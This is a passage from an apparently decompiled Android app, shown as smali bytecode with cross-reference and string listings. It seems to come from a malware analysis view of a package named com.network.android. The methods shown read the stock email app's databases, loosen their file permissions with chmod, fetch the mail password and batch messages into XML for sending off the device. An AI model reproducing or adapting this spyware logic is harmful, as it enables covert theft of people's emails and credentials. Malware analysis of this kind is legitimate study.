      194invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      196invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      197move-result-object v3
      199invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      200move-result-object v2
      202invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      203move-result-object v2
      205invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      206try_start_113:
      207invoke-interface {v4}, Ljava/util/concurrent/locks/Lock;->unlock()V
      208if-eqz v1, :cond_36
      210invoke-interface {v1}, Landroid/database/Cursor;->close()V
      211try_end_11b: goto/16 :goto_36
      212catch_11d: move-exception v0
      213try_start_11e: new-instance v1, Ljava/lang/StringBuilder;
      215const-string v2, "get getMailPassword finally- "
      217invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      219invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      220move-result-object v2
      222invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      223move-result-object v1
      225invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      226move-result-object v1
      228invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      229try_end_134: goto/16 :goto_36
      230catch_136: move-exception v0
      231new-instance v1, Ljava/lang/StringBuilder;
      233const-string v2, "get getMailPassword finally all- "
      235invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      237invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      238move-result-object v2
      240invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      241move-result-object v1
      243invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      244move-result-object v1
      246invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      247goto/16 :goto_36
      248catch_14f: move-exception v0
      249try_start_150: new-instance v0, Ljava/lang/StringBuilder;
      251const-string v5, "get getMailPasswordfail to openDatabase: "
      253invoke-direct {v0, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      255invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      256move-result-object v0
      258const-string v5, "/EmailProviderBody.db, try to open with OPEN_READONLY"
      260invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      261move-result-object v0
      263invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      264move-result-object v0
      266invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      267new-instance v0, Ljava/lang/StringBuilder;
      269invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      271invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      272move-result-object v0
      274const-string v3, "EmailProvider.db"
      276invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      277move-result-object v0
      279invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      280move-result-object v0
      281const/4 v3, 0x0
      282const/16 v5, 0x11
      284invoke-static {v0, v3, v5}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      285move-result-object v0
      286goto/16 :goto_67
      287cond_184:
      288const-string v0, "chmod 0751 /data/data/com.android.email; chmod 0771 /data/data/com.android.email/databases; "
      290invoke-static {v0}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      292const-string v0, "0666"
      294invoke-static {v2, v0}, Lcom/network/android/m;->a(Ljava/lang/String;Ljava/lang/String;)V
      295try_start_18e:
      296invoke-interface {v4}, Ljava/util/concurrent/locks/Lock;->unlock()V
      297if-eqz v1, :cond_36
      299invoke-interface {v1}, Landroid/database/Cursor;->close()V
      300try_end_196: goto/16 :goto_36
      301catch_198: move-exception v0
      302try_start_199: new-instance v1, Ljava/lang/StringBuilder;
      304const-string v2, "get getMailPassword finally- "
      306invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      308invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      309move-result-object v2
      311invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      312move-result-object v1
      314invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      315move-result-object v1
      317invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      318try_end_1af: goto/16 :goto_36
      319catchall_1b1: move-exception v0
      320try_start_1b2:
      321invoke-interface {v4}, Ljava/util/concurrent/locks/Lock;->unlock()V
      322if-eqz v1, :cond_1ba
      324invoke-interface {v1}, Landroid/database/Cursor;->close()V
      325try_end_1ba: throw v0
      326catch_1bb: move-exception v1
      327new-instance v2, Ljava/lang/StringBuilder;
      329const-string v3, "get getMailPassword finally- "
      331invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      333invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      334move-result-object v3
      336invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      337move-result-object v2
      339invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      340move-result-object v2
      342invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      343try_end_1d2: goto/16 :goto_1ba
      Cross References
      APIs
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.<init>
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.util.Xml.newSerializer
      • java.io.StringWriter.<init>
      • com.network.android.SmsReceiver.a
      • java.util.Vector.<init>
      • java.util.Vector.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • java.lang.String.indexOf
      • java.lang.String.indexOf
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Boolean.valueOf
      • android.database.Cursor.moveToNext
      • com.network.android.SmsReceiver.a
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Thread.sleep
      • android.util.Xml.newSerializer
      • java.io.StringWriter.<init>
      • com.network.android.SmsReceiver.a
      • java.util.Vector.<init>
      • java.util.Vector.<init>
      • java.lang.Boolean.valueOf
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Boolean.booleanValue
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • com.network.android.SmsReceiver.a
      • android.database.Cursor.moveToLast
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.edit
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.commit
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • GetContentMail addMail NEW messages count:
      • /EmailProviderBody.db
      • mailstore
      • db
      • GetContentMail addMail Gmail account name:
      • emails
      • GetContentMail addMail sleep chank:
      • GetContentMail addMail fail to openDatabase:
      • /EmailProviderBody.db, try to open with OPEN_READONLY
      • GetContentMail addMail add account name-
      • GetContentMail addMail no new mail messages (all are drafts)
      • _id
      • GGetContentMail addMail mailId of db:
      • after dump:
      • NetworkMail
      • GetContentMail addMail finaly -
      • GetContentMail addMail no new Messages
      • GetContentMail addMail -
      Position Instruction Meta Information
      0const/4 v5, 0x0
      1try_start_1:
      2invoke-interface/range {p2 .. p2}, Landroid/database/Cursor;->getCount()I
      3move-result v1
      4if-lez v1, :cond_1d8
      5new-instance v1, Ljava/lang/StringBuilder;
      7const-string v2, "GetContentMail addMail NEW messages count: "
      9invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      11invoke-interface/range {p2 .. p2}, Landroid/database/Cursor;->getCount()I
      12move-result v2
      14invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      15move-result-object v1
      17invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      18move-result-object v1
      20invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      22invoke-static {}, Landroid/util/Xml;->newSerializer()Lorg/xmlpull/v1/XmlSerializer;
      23move-result-object v6
      24new-instance v10, Ljava/io/StringWriter;
      26invoke-direct {v10}, Ljava/io/StringWriter;-><init>()V
      28invoke-static {v6, v10}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;)V
      29new-instance v3, Ljava/util/Vector;
      31invoke-direct {v3}, Ljava/util/Vector;-><init>()V
      32new-instance v4, Ljava/util/Vector;
      34invoke-direct {v4}, Ljava/util/Vector;-><init>()V
      35try_end_33: const/4 v1, 0x0
      36if-nez p5, :cond_50
      37try_start_36: new-instance v2, Ljava/lang/StringBuilder;
      39invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      41invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      42move-result-object v2
      44const-string v7, "/EmailProviderBody.db"
      46invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      47move-result-object v2
      49invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      50move-result-object v2
      51const/4 v7, 0x0
      52const/16 v8, 0x10
      54invoke-static {v2, v7, v8}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      55try_end_4f: move-result-object v5
      56cond_50: const/4 v2, 0x1
      57move/from16 v0, p5
      58if-ne v0, v2, :cond_254
      59try_start_55:
      60const-string v2, "mailstore"
      61move-object/from16 v0, p4
      63invoke-virtual {v0, v2}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      64move-result v2
      65add-int/lit8 v2, v2, 0xa
      67const-string v7, "db"
      68move-object/from16 v0, p4
      70invoke-virtual {v0, v7}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      71move-result v7
      72add-int/lit8 v7, v7, -0x1
      73if-ge v2, v7, :cond_83
      74move-object/from16 v0, p4
      76invoke-virtual {v0, v2, v7}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      77try_end_70: move-result-object v1
      78try_start_71: new-instance v2, Ljava/lang/StringBuilder;
      80const-string v7, "GetContentMail addMail Gmail account name: "
      82invoke-direct {v2, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      84invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      85move-result-object v2
      87invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      88move-result-object v2
      90invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      91try_end_83: move-object v9, v1
      92goto_84: const/4 v2, 0x1
      93const/4 v1, 0x0
      94try_start_86:
      95invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      96move-result-object v1
      98const-string v7, ""
      100const-string v8, "emails"
      102invoke-interface {v6, v7, v8}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      103move-object v11, v1
      104move-object v1, v10
      105move-object v13, v6
      106move v6, v2
      107move-object v2, v13
      108goto_96:
      109invoke-interface/range {p2 .. p2}, Landroid/database/Cursor;->moveToNext()Z
      110move-result v7
      111if-eqz v7, :cond_14f
      112add-int/lit8 v12, v6, 0x1
      113rem-int/lit8 v6, v12, 0x28
      114if-nez v6, :cond_250
      116const-string v6, ""
      118const-string v7, "emails"
      120invoke-interface {v2, v6, v7}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      122invoke-static {v2}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;)V
      124invoke-static {p0, v1, v3, v4}, Lcom/network/android/r;->a(Landroid/content/Context;Ljava/io/StringWriter;Ljava/util/Vector;Ljava/util/Vector;)V
      125new-instance v1, Ljava/lang/StringBuilder;
      127const-string v2, "GetContentMail addMail sleep chank: "
      129invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      131invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      132move-result-object v1
      134invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      135move-result-object v1
      137invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      138const-wide/16 v1, 0x12c
      140invoke-static {v1, v2}, Ljava/lang/Thread;->sleep(J)V
      142invoke-static {}, Landroid/util/Xml;->newSerializer()Lorg/xmlpull/v1/XmlSerializer;
      143move-result-object v2
      144new-instance v1, Ljava/io/StringWriter;
      146invoke-direct {v1}, Ljava/io/StringWriter;-><init>()V
      148invoke-static {v2, v1}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;)V
      149new-instance v3, Ljava/util/Vector;
      151invoke-direct {v3}, Ljava/util/Vector;-><init>()V
      152new-instance v4, Ljava/util/Vector;
      154invoke-direct {v4}, Ljava/util/Vector;-><init>()V
      156const-string v6, ""
      158const-string v7, "emails"
      160invoke-interface {v2, v6, v7}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      161move-object v10, v1
      162move-object v1, v2
      163goto_e5: move-object/from16 v2, p2
      164move-object/from16 v6, p3
      165move-object/from16 v7, p4
      166move/from16 v8, p5
      168invoke-static/range {v1 .. v9}, Lcom/network/android/r;->a(Lorg/xmlpull/v1/XmlSerializer;Landroid/database/Cursor;Ljava/util/Vector;Ljava/util/Vector;Landroid/database/sqlite/SQLiteDatabase;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;ILjava/lang/String;)Z
      169move-result v2
      170if-eqz v2, :cond_24b
      171const/4 v2, 0x1
      173invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      174move-result-object v2
      175move-object v11, v2
      176move v6, v12
      177move-object v2, v1
      178move-object v1, v10
      179goto/16 :goto_96
      180catch_fd: move-exception v2
      181new-instance v2, Ljava/lang/StringBuilder;
      183const-string v7, "GetContentMail addMail fail to openDatabase: "
      185invoke-direct {v2, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      187invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      188move-result-object v2
      190const-string v7, "/EmailProviderBody.db, try to open with OPEN_READONLY"
      192invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      193move-result-object v2
      195invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      196move-result-object v2
      198invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      199new-instance v2, Ljava/lang/StringBuilder;
      201invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      203invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      204move-result-object v2
      206const-string v7, "/EmailProviderBody.db"
      208invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      209move-result-object v2
      211invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      212move-result-object v2
      213const/4 v7, 0x0
      214const/16 v8, 0x11
      216invoke-static {v2, v7, v8}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      217move-result-object v5
      218goto/16 :goto_50
      219catch_132: move-exception v2
      220move-object v13, v2
      221move-object v2, v1
      222move-object v1, v13
      223goto_136: new-instance v7, Ljava/lang/StringBuilder;
      225const-string v8, "GetContentMail addMail add account name- "
      227invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      229invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      230move-result-object v8
      232invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      233move-result-object v7
      235invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      236move-result-object v7
      238invoke-static {v7, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      239move-object v9, v2
      240goto/16 :goto_84
      241cond_14f:
      242invoke-virtual {v11}, Ljava/lang/Boolean;->booleanValue()Z
      243move-result v6
      244if-nez v6, :cond_163
      246const-string v1, "GetContentMail addMail no new mail messages (all are drafts)"
      248invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      250invoke-interface/range {p2 .. p2}, Landroid/database/Cursor;->close()V
      251try_end_15d: if-eqz v5, :cond_162
      252try_start_15f:
      253invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      254goto_162: return-void
      255cond_163:
      256const-string v6, ""
      258const-string v7, "emails"
      260invoke-interface {v2, v6, v7}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      262invoke-static {v2}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;)V
      264invoke-static {p0, v1, v3, v4}, Lcom/network/android/r;->a(Landroid/content/Context;Ljava/io/StringWriter;Ljava/util/Vector;Ljava/util/Vector;)V
      266invoke-static {p0}, Lcom/network/android/j;->a(Landroid/content/Context;)V
      268invoke-interface/range {p2 .. p2}, Landroid/database/Cursor;->moveToLast()Z
      270const-string v1, "_id"
      271move-object/from16 v0, p2
      273invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      274move-result v1
      275move-object/from16 v0, p2
      277invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      278move-result-object v1
      279new-instance v2, Ljava/lang/StringBuilder;
      281const-string v3, "GGetContentMail addMail mailId of db:"
      283invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      284move-object/from16 v0, p4
      286invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      287move-result-object v2
      289const-string v3, " after dump: "
      291invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      292move-result-object v2
      294invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      295move-result-object v2
      297invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      298move-result-object v2
      300invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      302const-string v2, "NetworkMail"
      303const/4 v3, 0x0
      305invoke-virtual {p0, v2, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      306move-result-object v2
      308invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
      309move-result-object v2
      311invoke-static/range {p4 .. p4}, Lcom/network/android/h;->b(Ljava/lang/String;)Ljava/lang/String;
      312move-result-object v3
      314invoke-interface {v2, v3, v1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      316invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->commit()Z
      318invoke-interface/range {p2 .. p2}, Landroid/database/Cursor;->close()V
      319goto_1ba: if-eqz v5, :cond_162
      320try_start_1bc:
      321invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      322try_end_1bf: goto/16 :goto_162
      323catch_1c0: move-exception v1
      324new-instance v2, Ljava/lang/StringBuilder;
      326const-string v3, "GetContentMail addMail finaly - "
      328invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      330invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      331move-result-object v3
      333invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      334move-result-object v2
      336invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      337move-result-object v2
      338goto_1d4:
      339invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      340goto/16 :goto_162
      341cond_1d8:
      342const-string v1, "GetContentMail addMail no new Messages"
      344invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      345try_end_1dd: goto/16 :goto_1ba
      346catch_1de: move-exception v1
      347try_start_1df: new-instance v2, Ljava/lang/StringBuilder;
      349const-string v3, "GetContentMail addMail - "
      351invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      353invoke-virtual {v1}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      354move-result-object v3
      356invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      357move-result-object v2
      359invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      360move-result-object v2
      362invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      363try_end_1f5: if-eqz v5, :cond_162
      364try_start_1f7:
      365invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      366try_end_1fa: goto/16 :goto_162
      367catch_1fc: move-exception v1
      368new-instance v2, Ljava/lang/StringBuilder;
      370const-string v3, "GetContentMail addMail finaly - "
      372invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      374invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      375move-result-object v3
      377invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      378move-result-object v2
      380invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      381move-result-object v2
      382goto/16 :goto_1d4
      383catchall_211: move-exception v1
      384if-eqz v5, :cond_217
      385try_start_214:
      386invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      387cond_217: throw v1
      388catch_218: move-exception v2
      389new-instance v3, Ljava/lang/StringBuilder;
      391const-string v4, "GetContentMail addMail finaly - "
      393invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      395invoke-virtual {v2}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      396move-result-object v4
      398invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      399move-result-object v3
      401invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      402move-result-object v3
      404invoke-static {v3, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      405goto/16 :goto_217
      406catch_230: move-exception v1
      407new-instance v2, Ljava/lang/StringBuilder;
      409const-string v3, "GetContentMail addMail finaly - "
      411invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      413invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      414move-result-object v3
      416invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      417move-result-object v2
      419invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      420move-result-object v2
      421goto/16 :goto_1d4
      422catch_245: move-exception v2
      423move-object v13, v2
      424move-object v2, v1
      425move-object v1, v13
      426goto/16 :goto_136
      427cond_24b: move-object v2, v1
      428move v6, v12
      429move-object v1, v10
      430goto/16 :goto_96
      431cond_250: move-object v10, v1
      432move-object v1, v2
      433goto/16 :goto_e5
      434cond_254: move-object v9, v1
      435goto/16 :goto_84